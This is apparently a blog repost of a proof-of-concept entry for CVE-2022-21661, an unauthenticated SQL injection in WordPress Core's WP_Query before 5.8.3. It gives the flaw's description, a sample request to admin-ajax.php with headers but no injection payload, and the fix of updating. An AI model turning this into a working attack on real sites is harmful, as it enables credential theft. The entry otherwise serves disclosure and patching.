Monday, May 20, 2024

WordPress Core 5.8.2 – ‘WP_Query’ SQL Injection [PoC]

# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection
# Date: 11/01/2022
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://wordpress[.]org
# Software Link: https://wordpress[.]org/download/releases
# Version: < 5.8.3
# Tested on: Windows 10
# CVE : CVE-2022-21661


#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.

# [ References ] : 


# [ Sample Request ] :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close 
Content-Type: application/x-www-form-urlencoded


How to fix?

Update to => 5.8.3

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Steven Black (n0tst3)
Hello! I'm Steve, an independent security researcher, and analyst from Scotland, UK. I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated... I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK. I'll often reblog infosec-related articles that I find interesting. On the RiSec website, You'll also find a variety of write-ups, tutorials and much more!

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